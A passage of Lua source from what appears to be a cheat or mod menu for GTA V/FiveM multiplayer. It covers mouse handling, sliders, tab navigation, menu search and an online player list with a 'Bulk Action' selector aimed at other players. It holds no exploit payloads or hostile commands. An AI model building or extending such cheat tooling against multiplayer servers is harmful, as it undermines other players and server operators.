menu.logic.getCurrentTabHeight(currentNode) local optionHeight = roundNearest(menu.vars.optionHeight * scale) local bannerHeight = roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) local bannerTop = menuY - bannerHeight local optionsTop = menuY + titleBarHeight + tabHeight local visibleRowCount = math.min(optionCount, menu.vars.maxVisibleOptions) local function getSliderGeometry(option, rowTop) local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local barWidth = getSliderBarWidth(option) local barHeight = getSliderBarHeight(option) if option.type == "toggle" and option.sliderVar and option.sliderMin and option.sliderMax then local pillWidth = roundNearest(44 * scale * 0.75) local pillX = rightEdge - pillWidth local gap = roundNearest(8 * scale) local barX = pillX - barWidth - gap local barY = rowTop + roundNearest(optionHeight / 2) - math.floor(barHeight / 2) return barX, barY, barWidth, barHeight, option.sliderMin, option.sliderMax, option.sliderVar, true end if option.type == "slider" or option.type == "numberSlider" then local minValue = option.min if type(minValue) == "function" then minValue = option.min() or option.min end local maxValue = option.max if type(maxValue) == "function" then maxValue = option.max() or option.max end local node = menu.vars.navigationStack[#menu.vars.navigationStack] local skinEditor = node and node.title == "Skin Editor" local skinVariable = tostring(option.var or ""):match("^skin") ~= nil if not (skinEditor or skinVariable) and (minValue == nil or maxValue == nil or maxValue - minValue == 0) then return nil end local barX = rightEdge - barWidth local barY = rowTop + roundNearest(optionHeight / 2) - math.floor(barHeight / 2) return barX, barY, barWidth, barHeight, minValue, maxValue, option.var, false end return nil end local function updateDraggedSlider(drag, x) menu.vars.sliders = menu.vars.sliders or {} local range = drag.maxV - drag.minV if range == 0 then return end local fraction = (x - drag.barX) / drag.barW if fraction < 0 then fraction = 0 elseif 1 < fraction then fraction = 1 end local value = drag.minV + fraction * range local step = drag.opt.step or drag.opt.sliderStep if step and 0 < step then value = drag.minV + math.floor((value - drag.minV) / step + 0.5) * step if value < drag.minV then value = drag.minV end if value > drag.maxV then value = drag.maxV end end menu.vars.sliders[drag.varKey] = value if drag.isToggleSlider then if not drag.opt.sliderOnChangeFunc then return end menu.utils.safeCallByName(drag.opt.sliderOnChangeFunc, value, drag.varKey) return end if drag.opt.onChangeFunc then if type(drag.opt.onChangeFunc) == "function" then menu.utils.safeCall(drag.opt.onChangeFunc, value, drag.varKey) else menu.utils.safeCallByName(drag.opt.onChangeFunc, value, drag.varKey) end end local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node then if not node.isColorPicker then return end local colorVar = node.colorVar local red = menu.vars.sliders[colorVar .. "_r"] or 255 local green = menu.vars.sliders[colorVar .. "_g"] or 255 local blue = menu.vars.sliders[colorVar .. "_b"] or 255 local alpha = menu.vars.colorPickers[colorVar] and menu.vars.colorPickers[colorVar][4] or 255 menu.vars.colorPickers[colorVar] = { math.floor(red), math.floor(green), math.floor(blue), math.floor(alpha) } end end local noclipScrollActive = menu.vars.bools.noclip == true and menu.vars.bools.noclipScrollSpeed == true local freecamActive = menu.vars.freecamMenuActive == true or (menu.vars.bools and menu.vars.bools.freecam == true) if not noclipScrollActive and not freecamActive and 0 < optionCount then local wheelUp = IsDisabledControlJustPressed(0, 241) if not wheelUp then wheelUp = IsControlJustPressed(0, 241) end local wheelDown = IsDisabledControlJustPressed(0, 242) if not wheelDown then wheelDown = IsControlJustPressed(0, 242) end if (wheelUp or wheelDown) and now >= (menu.vars.lastMenuWheelAt or 0) + 40 then menu.vars.lastMenuWheelAt = now menu.logic.applyMenuScrollWheelStep(wheelDown and 1 or -1, options, optionCount) menu.utils.playSound("NAV_UP_DOWN") menu.vars.lastKeyPress = now + 50 end end local drag = menu.vars._mouseSliderDrag if drag then if mouseDown then local absoluteIndex = drag.absIdx if absoluteIndex and 1 <= absoluteIndex and optionCount >= absoluteIndex and drag.opt then local visibleIndex = absoluteIndex - menu.vars.scrollOffset if 1 <= visibleIndex and visibleRowCount >= visibleIndex then local rowTop = optionsTop + (visibleIndex - 1) * optionHeight local barX, _, barWidth, _, minValue, maxValue = getSliderGeometry(drag.opt, rowTop) if barX then drag.barX = barX drag.barW = barWidth drag.minV = minValue drag.maxV = maxValue end end end updateDraggedSlider(drag, mouseX) return end menu.vars._mouseSliderDrag = nil menu.vars._mouseSliderSkipNextRowClick = true end local overBanner = mouseX >= menuX and mouseX <= menuX + menuWidth and mouseY >= bannerTop and mouseY <= bannerTop + bannerHeight local overTitle = mouseX >= menuX and mouseX <= menuX + menuWidth and mouseY >= menuY and mouseY <= menuY + titleBarHeight if mouseDown and not previousMouseDown then menu.vars._mouseMenuDownChrome = overBanner or overTitle if not (menu.vars.lastMouseMenuAt and now < menu.vars.lastMouseMenuAt) and mouseY >= optionsTop and mouseY <= optionsTop + visibleRowCount * optionHeight and mouseX >= menuX and mouseX <= menuX + menuWidth then local rowIndex = math.floor((mouseY - optionsTop) / optionHeight) + 1 if 1 <= rowIndex and visibleRowCount >= rowIndex then local absoluteIndex = rowIndex + menu.vars.scrollOffset if 1 <= absoluteIndex and optionCount >= absoluteIndex then local option = options[absoluteIndex] if option and not menu.logic.isNonSelectable(option) then local rowTop = optionsTop + (rowIndex - 1) * optionHeight local barX, barY, barWidth, barHeight, minValue, maxValue, varKey, isToggleSlider = getSliderGeometry(option, rowTop) if barX then local padding = roundNearest(6 * scale) if mouseX >= barX - padding and mouseX <= barX + barWidth + padding and mouseY >= barY - padding and mouseY <= barY + barHeight + padding then menu.vars.currentOption = rowIndex menu.vars.sliders = menu.vars.sliders or {} if menu.vars.sliders[varKey] == nil then if isToggleSlider then menu.vars.sliders[varKey] = option.sliderDefault or minValue or 0 else menu.vars.sliders[varKey] = option.default or minValue or 0 end end menu.vars._mouseSliderDrag = { opt = option, varKey = varKey, minV = minValue, maxV = maxValue, barX = barX, barW = barWidth, isToggleSlider = isToggleSlider, absIdx = absoluteIndex } updateDraggedSlider(menu.vars._mouseSliderDrag, mouseX) return end end menu.vars.currentOption = rowIndex end end end end end if ImGuiKey.MouseRight and Ham.isKeyReleased(ImGuiKey.MouseRight) then local panel = menu.vars._playerInfoPanelRect local overPlayerPanel = panel and mouseX >= panel.x1 and mouseX <= panel.x2 and mouseY >= panel.y1 and mouseY <= panel.y2 if overPlayerPanel then menu.vars.playerInfoListMode = true menu.vars.playerInfoListIndex = menu.vars.playerInfoPhoneRowIndex or 2 markMouseActivity(200) return end local belowBanner = mouseX >= menuX and mouseX <= menuX + menuWidth and mouseY >= bannerTop if #menu.vars.navigationStack > 1 then local current = menu.vars.navigationStack[#menu.vars.navigationStack] local previous = menu.vars.navigationStack[#menu.vars.navigationStack - 1] if current and previous then menu.logic.triggerAnimation("out", current.options, previous.options) end menu.logic.goBack() markMouseActivity(200) return end if belowBanner then return end end if mouseReleased and menu.vars._mouseMenuDownChrome then menu.vars._mouseMenuDownChrome = false return end if menu.vars.lastMouseMenuAt and now < menu.vars.lastMouseMenuAt then return end local maxScrollOffset = math.max(0, optionCount - menu.vars.maxVisibleOptions) if mouseReleased and 0 < maxScrollOffset then local trackTop = menuY + titleBarHeight + tabHeight local trackHeight = math.min(optionCount, menu.vars.maxVisibleOptions) * optionHeight local scrollbar = menu.drawing.getScrollbarLayout(menuX, trackTop, "left", scale, trackHeight) local padding = roundNearest(8 * scale) if mouseX >= scrollbar.scrollbar_x - padding and mouseX <= scrollbar.scrollbar_x + scrollbar.trackW + padding and mouseY >= scrollbar.trackY and mouseY <= scrollbar.trackY + scrollbar.trackH then local fraction = (mouseY - scrollbar.trackY) / scrollbar.trackH if fraction < 0 then fraction = 0 elseif 1 < fraction then fraction = 1 end menu.vars.scrollOffset = math.floor(fraction * maxScrollOffset + 0.5) menu.vars._scrollVisual = menu.vars.scrollOffset menu.utils.playSound("NAV_UP_DOWN") markMouseActivity(100) return end end if mouseReleased and 0 < tabHeight and mouseY >= menuY + titleBarHeight and mouseY <= menuY + titleBarHeight + tabHeight and mouseX >= menuX and mouseX <= menuX + menuWidth then local tabs if #menu.vars.navigationStack == 1 then tabs = menu.vars.orderedTabs else menu.logic.getActiveTabsForNode(currentNode) tabs = currentNode._activeTabs end local tabCount = menu.logic.menuTabListLen(tabs) if 0 < tabCount then local clickedTab for index = 1, tabCount do local left = menuX + math.floor((index - 1) * menuWidth / tabCount) local right = menuX + math.floor(index * menuWidth / tabCount) if mouseX >= left and mouseX < right then clickedTab = index break end end if clickedTab then if #menu.vars.navigationStack == 1 then if clickedTab ~= menu.vars.currentTab then menu.vars.currentTab = clickedTab menu.logic.resetToCurrentTabRoot() menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(180) end elseif clickedTab ~= currentNode.tabIndex then currentNode.tabIndex = clickedTab if menu.logic.isOnVehicleRadarList(currentNode) then menu.logic.refreshVehicleRadarListSelection( currentNode, menu.vars.currentOption, menu.vars.scrollOffset ) else if currentNode.title == "Self Options" then local tab = tabs[currentNode.tabIndex] if tab and tab.name == "Wardrobe" and menu.logic.initializeSkinEditor then menu.logic.initializeSkinEditor() end end menu.vars.currentOption = menu.logic.findFirstSelectableOption(tabs[currentNode.tabIndex].options) menu.vars.scrollOffset = 0 end menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(180) end end end return end if not mouseReleased then return end if menu.vars._mouseSliderSkipNextRowClick then menu.vars._mouseSliderSkipNextRowClick = false return end local rowsTop = menuY + titleBarHeight + tabHeight local rowCount = math.min(optionCount, menu.vars.maxVisibleOptions) if mouseX < menuX or mouseX > menuX + menuWidth or mouseY < rowsTop or mouseY >= rowsTop + rowCount * optionHeight then return end local rowIndex = math.floor((mouseY - rowsTop) / optionHeight) + 1 if rowIndex < 1 or rowCount < rowIndex then return end local absoluteIndex = rowIndex + menu.vars.scrollOffset if absoluteIndex < 1 or optionCount < absoluteIndex then return end local option = options[absoluteIndex] if menu.logic.isNonSelectable(option) then return end menu.vars.currentOption = rowIndex local rowTop = rowsTop + (rowIndex - 1) * optionHeight local padding = roundNearest(6 * scale) local function isOverSlider(targetOption) local barX, barY, barWidth, barHeight = getSliderGeometry(targetOption, rowTop) if not barX then return false end return mouseX >= barX - padding and mouseX <= barX + barWidth + padding and mouseY >= barY - padding and mouseY <= barY + barHeight + padding end local clickedLeftHalf = mouseX < menuX + menuWidth * 0.5 local clickedRightHalf = not clickedLeftHalf local function clampCurrentSelection() local node = menu.vars.navigationStack[#menu.vars.navigationStack] if not node then return end local currentOption = menu.vars.currentOption local scrollOffset = menu.vars.scrollOffset local visibleCount = #menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) menu.vars.currentOption = math.min(currentOption, math.max(1, visibleCount)) menu.vars.scrollOffset = math.min(scrollOffset, math.max(0, visibleCount - menu.vars.maxVisibleOptions)) end local function adjustSelector(direction) local var = option.var local choices = option.choices if type(choices) == "function" then choices = option.choices() or option.choices end if not choices or #choices == 0 then return end local currentIndex = menu.vars.selectors[var] or 1 local newIndex if 0 < direction then newIndex = currentIndex % #choices + 1 else newIndex = currentIndex - 1 if newIndex < 1 and #choices then newIndex = #choices end end menu.vars.selectors[var] = newIndex if option.onChangeFunc then menu.utils.safeCallByName(option.onChangeFunc, choices[newIndex]) end clampCurrentSelection() menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(option.selectorAdjustCooldownMs or menu.vars.selectorAdjustDelayMs or 135) end local function adjustSlider(direction) local var = option.var menu.vars.sliders = menu.vars.sliders or {} local minValue = option.min if type(minValue) == "function" then minValue = option.min() or option.min end local maxValue = option.max if type(maxValue) == "function" then maxValue = option.max() or option.max end if menu.vars.sliders[var] == nil then menu.vars.sliders[var] = option.default or minValue or 1.0 end local step = option.step or option.sliderStep or 0.05 if 0 < direction then local value = menu.vars.sliders[var] + step if maxValue ~= nil then value = math.min(value, maxValue) end menu.vars.sliders[var] = value else local value = menu.vars.sliders[var] - step if minValue ~= nil then value = math.max(value, minValue) end menu.vars.sliders[var] = value end if option.onChangeFunc then if type(option.onChangeFunc) == "function" then menu.utils.safeCall(option.onChangeFunc, menu.vars.sliders[var], var) else menu.utils.safeCallByName(option.onChangeFunc, menu.vars.sliders[var], var) end end local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node and node.isColorPicker then local colorVar = node.colorVar local red = menu.vars.sliders[colorVar .. "_r"] or 255 local green = menu.vars.sliders[colorVar .. "_g"] or 255 local blue = menu.vars.sliders[colorVar .. "_b"] or 255 local alpha = menu.vars.colorPickers[colorVar] and menu.vars.colorPickers[colorVar][4] or 255 menu.vars.colorPickers[colorVar] = { math.floor(red), math.floor(green), math.floor(blue), math.floor(alpha) } end menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(72) end if option.type == "selector" or option.type == "selectorToggle" then if menu.vars.bools.menuMouseControl then local cluster = menu.logic.getSelectorMouseClusterLayout(option, scale, menuX, optionHeight, rowTop) if cluster then local leftWidth = cluster.arrowWLeft or cluster.arrowW local rightWidth = cluster.arrowWRight or cluster.arrowW if mouseX >= cluster.leftArrowX and mouseX < cluster.leftArrowX + leftWidth then adjustSelector(-1) elseif mouseX >= cluster.rightArrowX and mouseX < cluster.rightArrowX + rightWidth then adjustSelector(1) else menu.utils.playSound("SELECT") menu.logic.activateOption(option) markMouseActivity(option.type == "selectorToggle" and 115 or 165) end end return end if clickedLeftHalf then adjustSelector(-1) elseif clickedRightHalf then adjustSelector(1) end return end if option.type == "slider" or option.type == "numberSlider" then if option.inputVar and option.inputChoices and menu.vars.bools.menuMouseControl then local minValue = option.min if type(minValue) == "function" then minValue = option.min() or option.min end local maxValue = option.max if type(maxValue) == "function" then maxValue = option.max() or option.max end if menu.vars.sliders[option.var] == nil then menu.vars.sliders[option.var] = option.default or minValue or 1.0 end local value = menu.vars.sliders[option.var] local suffix = option.suffix or "x" local valueText = string.format("%s%s", formatSliderValueForDisplay(value, option.step), suffix) local valueWidth = select(1, Ham.getTextWidth(valueText)) local gap = roundNearest(6 * scale) local barWidth = getSliderBarWidth(option) local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local inputRightEdge = rightEdge - barWidth - gap - valueWidth - roundNearest(8 * scale) local cluster = menu.logic.getNumberSliderInputClusterLayout(option, scale, optionHeight, rowTop, inputRightEdge) if cluster then if mouseX >= cluster.leftArrowX and mouseX < cluster.leftArrowX + cluster.arrowWLeft then menu.logic.cycleNumberSliderInput(option, -1) menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(165) return end if mouseX >= cluster.rightArrowX and mouseX < cluster.rightArrowX + cluster.arrowWRight then menu.logic.cycleNumberSliderInput(option, 1) menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(165) return end end end if isOverSlider(option) then return end if clickedLeftHalf then adjustSlider(-1) elseif clickedRightHalf then adjustSlider(1) end return end if option.type == "toggle" and option.sliderVar then if isOverSlider(option) then return end local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local pillWidth = roundNearest(44 * scale * 0.75) local pillX = rightEdge - pillWidth if mouseX >= pillX - padding then menu.utils.playSound("SELECT") menu.logic.activateOption(option) markMouseActivity(100) return end local clickedLeft = mouseX < (menuX + pillX - roundNearest(8 * scale)) / 2 local var = option.sliderVar menu.vars.sliders = menu.vars.sliders or {} if menu.vars.sliders[var] == nil then menu.vars.sliders[var] = option.sliderDefault or option.sliderMin or 1.0 end local step = option.step or option.sliderStep or 0.05 local value if clickedLeft then value = menu.vars.sliders[var] - step if option.sliderMin then value = math.max(value, option.sliderMin) end menu.vars.sliders[var] = value if option.sliderOnChangeFunc then menu.utils.safeCallByName(option.sliderOnChangeFunc, value, var) end else value = menu.vars.sliders[var] + step if option.sliderMax then value = math.min(value, option.sliderMax) end menu.vars.sliders[var] = value if option.sliderOnChangeFunc then menu.utils.safeCallByName(option.sliderOnChangeFunc, value, var) end end menu.utils.playSound("NAV_LEFT_RIGHT") markMouseActivity(72) return end if option.type == "toggleColorPicker" then local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local pillX = rightEdge - roundNearest(44 * scale * 0.75) local swatchWidth = roundNearest(14 * scale) local gap = roundNearest(8 * scale) local swatchX = pillX - gap - swatchWidth if mouseX >= swatchX - padding and mouseX <= swatchX + swatchWidth + padding and mouseY >= rowTop - padding and mouseY <= rowTop + optionHeight + padding then menu.logic.openColorPickerFromOption(option) menu.utils.playSound("SELECT") markMouseActivity(170) return end if mouseX >= pillX - padding then menu.utils.playSound("SELECT") menu.logic.activateOption(option) markMouseActivity(100) return end end if option.type == "toggle" and option.hotkeyTarget and option.hotkeyTarget.identifier and not option.sliderVar then local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local pillX = rightEdge - roundNearest(44 * scale * 0.75) local identifier = option.hotkeyTarget.identifier menu.vars.hotkeyBindSlot = menu.vars.hotkeyBindSlot or {} local slot = menu.vars.hotkeyBindSlot[identifier] or "key" local binding = identifier and menu.vars.hotkeyBinds[identifier] or "None" local label = slot == "custom" and "- Custom -" or "- " .. binding .. " -" local labelWidth = select(1, Ham.getTextWidth(label)) local gap = roundNearest(8 * scale) local left = pillX - gap - labelWidth - padding local right = pillX - gap + padding if mouseX >= left and mouseX <= right and mouseY >= rowTop - padding and mouseY <= rowTop + optionHeight + padding then if slot == "custom" then menu.logic.startHotkeyBinding({ type = "hotkey", name = (option.name or "Option") .. " Key", target = option.hotkeyTarget }) menu.utils.playSound("NAV_LEFT_RIGHT") else menu.vars.hotkeyBindSlot[identifier] = "custom" menu.utils.playSound("NAV_LEFT_RIGHT") end markMouseActivity(170) return end if mouseX >= pillX - padding then menu.utils.playSound("SELECT") menu.logic.activateOption(option) markMouseActivity(100) return end end menu.utils.playSound("SELECT") menu.logic.activateOption(option) markMouseActivity((option.type == "toggle" or option.type == "toggleColorPicker") and 100 or 170) end menuLogic.processMenuMouseUi = processMenuMouseUi end do local function _searchCopyPath(path) local copy = {} if path then for index, value in ipairs(path) do copy[index] = value end end return copy end menuLogic._searchCopyPath = _searchCopyPath end do local function _searchCloneOption(option, groupLabel) local clone = {} for key, value in pairs(option) do clone[key] = value end clone.submenu = nil clone.tabs = nil clone._isSearchClone = true if groupLabel and groupLabel ~= "" then clone.description = groupLabel .. (option.description and " \226\128\148 " .. tostring(option.description) or "") end return clone end menuLogic._searchCloneOption = _searchCloneOption end do local function _searchCollectFromOptions(options, context, query, results) local visibleOptions = menu.logic.getVisibleOptions(options) for _, option in ipairs(visibleOptions) do if option.name and not menu.logic.isSeparator(option) and option.type ~= "submenu" and string.find(string.lower(tostring(option.name)), query, 1, true) then local rootTab = menu.vars.orderedTabs[context.rootTabIndex] local groupPath = {} if rootTab then table.insert(groupPath, rootTab.name) end for _, pathPart in ipairs(context.path) do table.insert(groupPath, pathPart) end if context.tabLabel then table.insert(groupPath, context.tabLabel) end local separatorLabel = context.path and 0 < #context.path and context.path[#context.path] or "" table.insert(results, { rootTabIndex = context.rootTabIndex, path = menu.logic._searchCopyPath(context.path), tabAnchorTitle = context.tabAnchorTitle, finalTabIndex = context.pendingTabIndex, targetName = option.name, targetType = option.type, groupKey = table.concat(groupPath, " \226\128\186 "), separatorLabel = separatorLabel, option = option }) end if option.type == "submenu" then local path = menu.logic._searchCopyPath(context.path) table.insert(path, option.name) local tabs = option.tabs if type(tabs) == "function" then tabs = tabs() end if tabs and tabs[1] then for _, tab in ipairs(tabs) do local tabOptions = tab.options or tab.submenu or {} if type(tabOptions) == "function" then tabOptions = tabOptions() end if menu.logic._hasVisibleOptions(tabOptions) then local visibleTabIndex = 0 for _, candidateTab in ipairs(tabs) do local candidateOptions = candidateTab.options or candidateTab.submenu or {} if type(candidateOptions) == "function" then candidateOptions = candidateOptions() end if menu.logic._hasVisibleOptions(candidateOptions) then visibleTabIndex = visibleTabIndex + 1 if candidateTab == tab then break end end end menu.logic._searchCollectFromOptions(tabOptions or {}, { rootTabIndex = context.rootTabIndex, path = path, pendingTabIndex = visibleTabIndex, tabAnchorTitle = option.name, tabLabel = tab.name }, query, results) end end else local submenu = option.submenu if type(submenu) == "function" then submenu = submenu() end menu.logic._searchCollectFromOptions(submenu or {}, { rootTabIndex = context.rootTabIndex, path = path, pendingTabIndex = context.pendingTabIndex, tabAnchorTitle = context.tabAnchorTitle, tabLabel = context.tabLabel }, query, results) end end end end menuLogic._searchCollectFromOptions = _searchCollectFromOptions end do local function collectGlobalMenuSearchMatches(query) local results = {} if not query or query == "" then return results end if not menu.vars.orderedTabs then return results end for rootTabIndex, tab in ipairs(menu.vars.orderedTabs) do menu.logic._searchCollectFromOptions(tab.options or {}, { rootTabIndex = rootTabIndex, path = {}, pendingTabIndex = nil, tabAnchorTitle = nil, tabLabel = nil }, query, results) end return results end menuLogic.collectGlobalMenuSearchMatches = collectGlobalMenuSearchMatches end do local function _searchApplyTabAnchor(match) if not match or not match.tabAnchorTitle or not match.finalTabIndex then return end for _, node in ipairs(menu.vars.navigationStack) do if node.title == match.tabAnchorTitle then node.tabIndex = match.finalTabIndex menu.logic.getActiveTabsForNode(node) if menu.logic.isOnVehicleRadarList(node) then menu.logic.refreshVehicleRadarListSelection(node, menu.vars.currentOption, menu.vars.scrollOffset) end return end end end menuLogic._searchApplyTabAnchor = _searchApplyTabAnchor end do local function navigateToSearchMatch(match) if not match then return false end local rootTab = menu.vars.orderedTabs and menu.vars.orderedTabs[match.rootTabIndex] if not rootTab then return false end menu.vars.currentTab = match.rootTabIndex menu.logic.resetToCurrentTabRoot() for _, submenuName in ipairs(match.path) do local node = menu.vars.navigationStack[#menu.vars.navigationStack] local visibleOptions = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) local submenuOption for _, option in ipairs(visibleOptions) do if option.type == "submenu" and option.name == submenuName then submenuOption = option break end end if not submenuOption then return false end menu.logic.activateOption(submenuOption) menu.logic._searchApplyTabAnchor(match) end menu.logic._searchApplyTabAnchor(match) local node = menu.vars.navigationStack[#menu.vars.navigationStack] local visibleOptions = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) local maxVisibleOptions = menu.vars.maxVisibleOptions or 9 for index, option in ipairs(visibleOptions) do if option.name == match.targetName and (not match.targetType or option.type == match.targetType) then local maxScrollOffset = math.max(0, #visibleOptions - maxVisibleOptions) local scrollOffset = math.min(math.max(0, index - maxVisibleOptions), maxScrollOffset) menu.vars.scrollOffset = scrollOffset menu.vars.currentOption = math.max(1, math.min(index - scrollOffset, maxVisibleOptions)) return true end end return false end menuLogic.navigateToSearchMatch = navigateToSearchMatch end do local function findFirstSelectableOption(options) if not options then return 1 end for index, option in ipairs(options) do if not menu.logic.isNonSelectable(option) then return index end end return 1 end menuLogic.findFirstSelectableOption = findFirstSelectableOption end do local function getCurrentTabHeight(node) local scale = menu.vars.scale or 1 local height = roundNearest(menu.vars.tabHeight * scale) if #menu.vars.navigationStack == 1 then return height end local activeTabs = node and node._activeTabs if not activeTabs and node and node.tabs then activeTabs = menu.logic.getActiveTabsForNode(node) end if activeTabs and activeTabs[1] then return height end return 0 end menuLogic.getCurrentTabHeight = getCurrentTabHeight end do local function menuTabListLen(tabs) if type(tabs) ~= "table" or tabs[1] == nil then return 0 end if 0 < #tabs then return #tabs end local count = 0 for _ in ipairs(tabs) do count = count + 1 end return count end menuLogic.menuTabListLen = menuTabListLen end do local function syncOnlineListFocusedServerId() menu.vars.onlineListFocusedServerId = select(1, menu.logic.getOnlineListHighlightPin()) end menuLogic.syncOnlineListFocusedServerId = syncOnlineListFocusedServerId end do local function notifyPlayerLeftOnlineList(serverId) serverId = tonumber(serverId) if not serverId then return end menu.vars.playerLeftOnlineNotifySids = menu.vars.playerLeftOnlineNotifySids or {} if menu.vars.playerLeftOnlineNotifySids[serverId] then return end menu.vars.playerLeftOnlineNotifySids[serverId] = true menu.utils.notify("Selected player is no longer available", "info", 2500) end menuLogic.notifyPlayerLeftOnlineList = notifyPlayerLeftOnlineList end do local function clearPlayerLeftOnlineNotify(serverId) serverId = tonumber(serverId) if serverId and menu.vars.playerLeftOnlineNotifySids then menu.vars.playerLeftOnlineNotifySids[serverId] = nil end end menuLogic.clearPlayerLeftOnlineNotify = clearPlayerLeftOnlineNotify end do local function resolveOnlineListPinInfo() local serverId, pinIndex = menu.logic.getOnlineListHighlightPin() if serverId then menu.vars.onlineListFocusedServerId = serverId return serverId, pinIndex end serverId = menu.vars.onlineListFocusedServerId if not serverId then return nil, nil end local navigationStack = menu.vars.navigationStack if not navigationStack or #navigationStack == 0 then return serverId, nil end local node = navigationStack[#navigationStack] if not node or node.title ~= "Online Options" or (node.tabIndex or 1) ~= 1 then return serverId, nil end local visibleOptions = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) local playerIndex = 0 for _, option in ipairs(visibleOptions) do local matchedId = option.var and string.match(option.var, "^__player_select_(%d+)$") if matchedId then playerIndex = playerIndex + 1 if tonumber(matchedId) == serverId then return serverId, playerIndex end end end return serverId, nil end menuLogic.resolveOnlineListPinInfo = resolveOnlineListPinInfo end do local function getOnlineListHighlightPin() if menu.vars.visible ~= true then return nil, nil end local navigationStack = menu.vars.navigationStack if not navigationStack or #navigationStack == 0 then return nil, nil end local node = navigationStack[#navigationStack] if not node or node.title ~= "Online Options" or (node.tabIndex or 1) ~= 1 then return nil, nil end if not menu.logic or not menu.logic.getNodeOptions or not menu.logic.getVisibleOptions then return nil, nil end local options = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) if #options == 0 then return nil, nil end local absoluteIndex = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) if absoluteIndex < 1 or absoluteIndex > #options then return nil, nil end local option = options[absoluteIndex] local matchedId = option and option.var and string.match(option.var, "^__player_select_(%d+)$") if not matchedId then return nil, nil end local serverId = tonumber(matchedId) if not serverId then return nil, nil end local playerIndex = 0 for index, candidate in ipairs(options) do if candidate.var and string.match(candidate.var, "^__player_select_(%d+)$") then playerIndex = playerIndex + 1 if index == absoluteIndex then return serverId, playerIndex end end end return serverId, nil end menuLogic.getOnlineListHighlightPin = getOnlineListHighlightPin end do local function restoreOnlineListHighlightSelection(serverId) if not serverId then return end local navigationStack = menu.vars.navigationStack if not navigationStack or #navigationStack == 0 then return end local node = navigationStack[#navigationStack] if not node or node.title ~= "Online Options" or (node.tabIndex or 1) ~= 1 then return end local options = menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) if #options == 0 then return end local scrollOffset = menu.vars.scrollOffset or 0 local currentOption = menu.vars.currentOption or 1 local absoluteIndex = currentOption + scrollOffset if 1 <= absoluteIndex and absoluteIndex <= #options then local option = options[absoluteIndex] local matchedId = option and option.var and string.match(option.var, "^__player_select_(%d+)$") if matchedId and tonumber(matchedId) == serverId then menu.vars.onlineListFocusedServerId = serverId return end end local matchingIndex for index, option in ipairs(options) do local matchedId = option.var and string.match(option.var, "^__player_select_(%d+)$") if matchedId and tonumber(matchedId) == serverId then matchingIndex = index break end end if not matchingIndex then menu.logic.notifyPlayerLeftOnlineList(serverId) menu.vars.onlineListFocusedServerId = nil return end menu.vars.onlineListFocusedServerId = serverId local maxVisibleOptions = menu.vars.maxVisibleOptions or 10 local newScrollOffset = scrollOffset if matchingIndex < newScrollOffset + 1 then newScrollOffset = matchingIndex - 1 elseif matchingIndex > newScrollOffset + maxVisibleOptions then newScrollOffset = matchingIndex - maxVisibleOptions end newScrollOffset = math.max(0, newScrollOffset) local newCurrentOption = matchingIndex - newScrollOffset if newScrollOffset == scrollOffset and newCurrentOption == currentOption then return end menu.vars.scrollOffset = newScrollOffset menu.vars.currentOption = newCurrentOption end menuLogic.restoreOnlineListHighlightSelection = restoreOnlineListHighlightSelection end do local function updatePlayerList() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local onlineOptions for _, option in ipairs(mainTab.options) do if option.name == "Online Options" then onlineOptions = option break end end if not onlineOptions or not onlineOptions.tabs then return end local listTab = onlineOptions.tabs[1] local thirdTab = onlineOptions.tabs[3] if not onlineOptions.tabs[2] or not listTab then return end local pinnedServerId, pinnedIndex = menu.logic.resolveOnlineListPinInfo() local focusedServerId = pinnedServerId or menu.vars.onlineListFocusedServerId local activePlayers = GetActivePlayers() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local players = {} local searchFilter = menu.vars.playerSearchFilter if searchFilter then searchFilter = string.lower(menu.vars.playerSearchFilter) or nil end for _, playerId in ipairs(activePlayers) do local serverId = GetPlayerServerId(playerId) local name = GetPlayerName(playerId) or "Unknown" local ped = GetPlayerPed(playerId) local pedExists = ped and ped ~= 0 and DoesEntityExist(ped) local distance if pedExists then distance = #(GetEntityCoords(ped) - playerCoords) else distance = 1.0E9 end if not searchFilter or string.find(string.lower(name), searchFilter, 1, true) then table.insert(players, { playerId = playerId, serverId = serverId, name = name, ped = pedExists and ped or 0, distance = distance }) end end table.sort(players, function(left, right) if left.distance == right.distance then return string.lower(left.name or "") < string.lower(right.name or "") end return left.distance < right.distance end) local availableServerIds = {} for _, player in ipairs(players) do availableServerIds[player.serverId] = true menu.logic.clearPlayerLeftOnlineNotify(player.serverId) end local function isPlayerAvailable(serverId) return serverId ~= nil and availableServerIds[serverId] == true end if pinnedServerId and pinnedIndex then local pinnedPlayer for index, player in ipairs(players) do if player.serverId == pinnedServerId then pinnedPlayer = table.remove(players, index) break end end if pinnedPlayer then table.insert(players, math.min(pinnedIndex, #players + 1), pinnedPlayer) end end listTab.options = listTab.options or {} for index = #listTab.options, 1, -1 do listTab.options[index] = nil end table.insert(listTab.options, { name = "Search", type = "button", func = "openPlayerSearch" }) table.insert(listTab.options, { name = "Clear Filter", type = "button", func = "clearPlayerSearch", condition = function() return menu.vars.playerSearchFilter ~= nil end }) menu.vars.selectors = menu.vars.selectors or {} if menu.vars.selectors.playerBulkActionSelector == nil then menu.vars.selectors.playerBulkActionSelector = 1 end table.insert(listTab.options, { name = "Bulk Action", type = "selector", var 